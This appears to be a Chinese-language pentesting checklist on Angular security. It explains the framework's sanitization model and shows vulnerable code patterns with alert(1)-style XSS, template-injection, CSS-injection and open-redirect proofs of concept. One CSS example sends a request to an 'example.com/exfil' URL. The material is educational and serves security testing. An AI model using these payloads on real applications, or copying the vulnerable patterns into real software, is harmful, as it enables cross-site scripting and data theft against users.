Angular

The Checklist

Checklist from here.

What is Angular

Angular 是一个 强大开源 的前端框架,由 Google 维护。它使用 TypeScript 来增强代码的可读性和调试能力。凭借强大的安全机制,Angular 防止常见的客户端漏洞,如 XSS开放重定向。它也可以在 服务器端 使用,因此从 两个角度 考虑安全性非常重要。

Framework architecture

为了更好地理解 Angular 的基础知识,让我们了解其基本概念。

常见的 Angular 项目通常看起来像:

my-workspace/
├── ... #workspace-wide configuration files
├── src
   ├── app
      ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
      ├── app.component.ts #defines the logic for the application's root component
      ├── app.component.html #defines the HTML template associated with the root component
      ├── app.component.css #defines the base CSS stylesheet for the root component
      ├── app.component.spec.ts #defines a unit test for the root component
      └── app-routing.module.ts #provides routing capability for the application
   ├── lib
      └── src #library-specific configuration files
   ├── index.html #main HTML page, where the component will be rendered in
   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

根据文档,每个 Angular 应用程序至少有一个组件,即根组件 (AppComponent),它将组件层次结构与 DOM 连接。每个组件定义一个包含应用程序数据和逻辑的类,并与定义要在目标环境中显示的视图的 HTML 模板相关联。@Component() 装饰器将其下方的类标识为组件,并提供模板和相关的组件特定元数据。AppComponentapp.component.ts 文件中定义。

Angular NgModules 声明一个编译上下文,用于一组专用于应用程序域、工作流或紧密相关功能的组件。每个 Angular 应用程序都有一个根模块,通常命名为 AppModule,它提供启动机制以启动应用程序。一个应用程序通常包含多个功能模块。AppModuleapp.module.ts 文件中定义。

Angular Router NgModule 提供一个服务,让您可以定义应用程序中不同状态和视图层次结构之间的导航路径。RouterModuleapp-routing.module.ts 文件中定义。

对于不与特定视图相关联的数据或逻辑,并且您希望在组件之间共享的,您可以创建一个服务类。服务类定义前面会有 @Injectable() 装饰器。该装饰器提供元数据,允许其他提供者作为依赖项注入到您的类中。依赖注入 (DI) 使您能够保持组件类的精简和高效。它们不会从服务器获取数据、验证用户输入或直接记录到控制台;它们将此类任务委托给服务。

Sourcemap 配置

Angular 框架通过遵循 tsconfig.json 选项将 TypeScript 文件转换为 JavaScript 代码,然后使用 angular.json 配置构建项目。查看 angular.json 文件时,我们观察到一个选项可以启用或禁用 sourcemap。根据 Angular 文档,默认配置为脚本启用了 sourcemap 文件,并且默认情况下不隐藏:

"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

一般来说,sourcemap 文件用于调试目的,因为它们将生成的文件映射到其原始文件。因此,不建议在生产环境中使用它们。如果启用 sourcemaps,它可以提高可读性并通过复制 Angular 项目的原始状态来帮助文件分析。然而,如果它们被禁用,审查者仍然可以通过搜索反安全模式手动分析编译后的 JavaScript 文件。

此外,带有 Angular 项目的编译 JavaScript 文件可以在浏览器开发者工具 → Sources(或 Debugger 和 Sources)→ [id].main.js 中找到。根据启用的选项,该文件末尾可能包含以下行 //# sourceMappingURL=[id].main.js.map,如果 hidden 选项设置为 true,则可能不包含此行。尽管如此,如果 scripts 的 sourcemap 被禁用,测试变得更加复杂,我们无法获取该文件。此外,sourcemap 可以在项目构建期间启用,例如 ng build --source-map

数据绑定

绑定是指组件与其对应视图之间的通信过程。它用于在 Angular 框架中传输数据。数据可以通过多种方式传递,例如通过事件、插值、属性或通过双向绑定机制。此外,数据还可以在相关组件(父子关系)之间以及在两个不相关的组件之间使用服务功能进行共享。

我们可以通过数据流对绑定进行分类:

  • 数据源到视图目标(包括 插值属性属性样式);可以通过在模板中使用 []{{}} 来应用;

  • 视图目标到数据源(包括 事件);可以通过在模板中使用 () 来应用;

  • 双向;可以通过在模板中使用 [()] 来应用。

绑定可以在属性、事件和属性上调用,以及在源指令的任何公共成员上调用:

类型
目标
示例

属性

元素属性、组件属性、指令属性

<img [alt]="hero.name" [src]="heroImageUrl">

事件

元素事件、组件事件、指令事件

<button type="button" (click)="onSave()">保存

双向

事件和属性

<input [(ngModel)]="name">

属性

属性(例外)

<button type="button" [attr.aria-label]="help">帮助

类属性

<div [class.special]="isSpecial">特殊

样式

样式属性

<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Angular 安全模型

Angular 的设计默认对所有数据进行编码或清理,使得在 Angular 项目中发现和利用 XSS 漏洞变得越来越困难。数据处理有两种不同的场景:

  1. 插值或 {{user_input}} - 执行上下文敏感编码并将用户输入解释为文本;

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

结果: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. 绑定到属性、属性、类和样式或 [attribute]="user_input" - 根据提供的安全上下文执行清理。

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

结果: <div><h1>test</h1></div>

有 6 种类型的 SecurityContext

  • None

  • HTML 在将值解释为 HTML 时使用;

  • STYLE 在将 CSS 绑定到 style 属性时使用;

  • URL 用于 URL 属性,例如 <a href>

  • SCRIPT 用于 JavaScript 代码;

  • RESOURCE_URL 作为加载并作为代码执行的 URL,例如在 <script src> 中。

漏洞

绕过安全信任方法

Angular 引入了一系列方法来绕过其默认的清理过程,并指示某个值可以在特定上下文中安全使用,如以下五个示例所示:

  1. bypassSecurityTrustUrl 用于指示给定值是安全的样式 URL:

//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">点击我</a>

//结果
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">点击我</a>
  1. bypassSecurityTrustResourceUrl 用于指示给定值是安全的资源 URL:

//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//结果
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtml 用于指示给定值是安全的 HTML。请注意,以这种方式将 script 元素插入 DOM 树不会导致它们执行所包含的 JavaScript 代码,因为这些元素是如何添加到 DOM 树中的。

//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//结果
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScript 用于指示给定值是安全的 JavaScript。然而,我们发现其行为不可预测,因为我们无法使用此方法在模板中执行 JS 代码。

//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//结果
-
  1. bypassSecurityTrustStyle 用于指示给定值是安全的 CSS。以下示例说明了 CSS 注入:

//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//结果
请求 URL: GET example.com/exfil/a

Angular 提供了一个 sanitize 方法,在将数据显示在视图中之前对其进行清理。此方法使用提供的安全上下文并相应地清理输入。然而,使用特定数据和上下文的正确安全上下文至关重要。例如,在 HTML 内容上应用带有 SecurityContext.URL 的清理器并不能提供对危险 HTML 值的保护。在这种情况下,错误使用安全上下文可能导致 XSS 漏洞。

HTML 注入

当用户输入绑定到以下三个属性中的任何一个时,就会发生此漏洞:innerHTMLouterHTMLiframe srcdoc。虽然绑定到这些属性会按原样解释 HTML,但输入使用 SecurityContext.HTML 进行清理。因此,HTML 注入是可能的,但跨站脚本(XSS)则不是。

使用 innerHTML 的示例:

//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

结果是 <div><h1>test</h1></div>

模板注入

客户端渲染 (CSR)

Angular 利用模板动态构建页面。该方法涉及将模板表达式用双大括号({{}})括起来,以便 Angular 进行评估。通过这种方式,框架提供了额外的功能。例如,模板 {{1+1}} 将显示为 2。

通常,Angular 会转义可能与模板表达式混淆的用户输入(例如,字符如 `< > ' " `\)。这意味着需要额外的步骤来绕过此限制,例如利用生成 JavaScript 字符串对象的函数,以避免使用黑名单字符。然而,要实现这一点,我们必须考虑 Angular 的上下文、属性和变量。因此,模板注入攻击可能如下所示:

//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

如上所示:constructor指的是对象constructor属性的作用域,使我们能够调用字符串构造函数并执行任意代码。

服务器端渲染 (SSR)

与在浏览器的DOM中发生的CSR不同,Angular Universal负责模板文件的SSR。这些文件随后被传递给用户。尽管有这种区别,Angular Universal在SSR中应用了与CSR相同的清理机制,以增强SSR的安全性。在SSR中发现模板注入漏洞的方法与CSR相同,因为使用的模板语言是相同的。

当然,在使用第三方模板引擎如Pug和Handlebars时,也有可能引入新的模板注入漏洞。

XSS

DOM接口

如前所述,我们可以使用_Document_接口直接访问DOM。如果用户输入未经过验证,可能会导致跨站脚本(XSS)漏洞。

我们在下面的示例中使用了document.write()document.createElement()方法:

//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Angular 类

在 Angular 中,有一些类可以用于操作 DOM 元素:ElementRefRenderer2LocationDocument。关于后两个类的详细描述在 Open redirects 部分中给出。前两个类的主要区别在于 Renderer2 API 提供了一个抽象层,位于 DOM 元素和组件代码之间,而 ElementRef 仅持有对元素的引用。因此,根据 Angular 文档,ElementRef API 应仅在需要直接访问 DOM 时作为最后的手段使用。

  • ElementRef 包含属性 nativeElement,可用于操作 DOM 元素。然而,不当使用 nativeElement 可能导致 XSS 注入漏洞,如下所示:

//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • 尽管 Renderer2 提供的 API 可以安全使用,即使在不支持直接访问本地元素的情况下,但它仍然存在一些安全缺陷。使用 Renderer2,可以通过 setAttribute() 方法在 HTML 元素上设置属性,而该方法没有 XSS 预防机制。

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
  • 要设置 DOM 元素的属性,可以使用 Renderer2.setProperty() 方法并触发 XSS 攻击:

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

在我们的研究中,我们还检查了其他 Renderer2 方法的行为,如 setStyle()createComment()setValue(),与 XSS 和 CSS 注入的关系。然而,由于这些方法的功能限制,我们未能找到有效的攻击向量。

jQuery

jQuery 是一个快速、小巧且功能丰富的 JavaScript 库,可以在 Angular 项目中用于操作 HTML DOM 对象。然而,众所周知,该库的方法可能被利用以实现 XSS 漏洞。为了讨论一些易受攻击的 jQuery 方法如何在 Angular 项目中被利用,我们添加了这一小节。

  • html() 方法获取匹配元素集合中第一个元素的 HTML 内容,或设置每个匹配元素的 HTML 内容。然而,按设计,任何接受 HTML 字符串的 jQuery 构造函数或方法都可能执行代码。这可能通过注入 <script> 标签或使用执行代码的 HTML 属性来发生,如示例所示。

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
  • jQuery.parseHTML() 方法使用本地方法将字符串转换为一组 DOM 节点,然后可以将其插入到文档中。

jQuery.parseHTML(data [, context ] [, keepScripts ])

如前所述,大多数接受 HTML 字符串的 jQuery API 将运行包含在 HTML 中的脚本。jQuery.parseHTML() 方法不会运行解析 HTML 中的脚本,除非 keepScripts 显式为 true。然而,在大多数环境中,仍然可以间接执行脚本;例如,通过 <img onerror> 属性。

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

Open redirects

DOM 接口

根据 W3C 文档,window.locationdocument.location 对象在现代浏览器中被视为别名。这就是为什么它们在某些方法和属性的实现上相似,这可能导致开放重定向和 DOM XSS 与 javascript:// 架构攻击,如下所示。

  • window.location.href(和 document.location.href

获取当前 DOM 位置对象的规范方法是使用 window.location。它也可以用于将浏览器重定向到新页面。因此,控制该对象使我们能够利用开放重定向漏洞。

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

以下场景的利用过程是相同的。

  • window.location.assign()(和 document.location.assign()

该方法使窗口加载并显示指定 URL 的文档。如果我们控制该方法,它可能是开放重定向攻击的一个入口。

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()(和 document.location.replace()

该方法用提供的 URL 替换当前资源。

assign() 方法的不同之处在于,使用 window.location.replace() 后,当前页面不会保存在会话历史中。然而,当我们控制该方法时,也可以利用开放重定向漏洞。

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

window.open() 方法接受一个 URL,并将其识别的资源加载到新标签或窗口中。控制该方法也可能是触发 XSS 或开放重定向漏洞的机会。

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Angular 类

  • 根据 Angular 文档,Angular Document 与 DOM 文档相同,这意味着可以使用通用向量来利用 Angular 中的客户端漏洞。Document.location 属性和方法可能是成功开放重定向攻击的入口,如示例所示:

//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
  • 在研究阶段,我们还审查了 Angular Location 类的开放重定向漏洞,但未发现有效的向量。Location 是一个 Angular 服务,应用程序可以使用它与浏览器的当前 URL 进行交互。该服务有几个方法来操作给定的 URL - go()replaceState()prepareExternalUrl()。然而,我们无法使用它们进行重定向到外部域。例如:

//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

结果:http://localhost:4200/http://google.com/about

  • Angular Router 类主要用于在同一域内导航,并不会给应用程序引入任何额外的漏洞:

//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

结果:http://localhost:4200/https:

以下方法也在域的范围内导航:

const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

参考文献

Last updated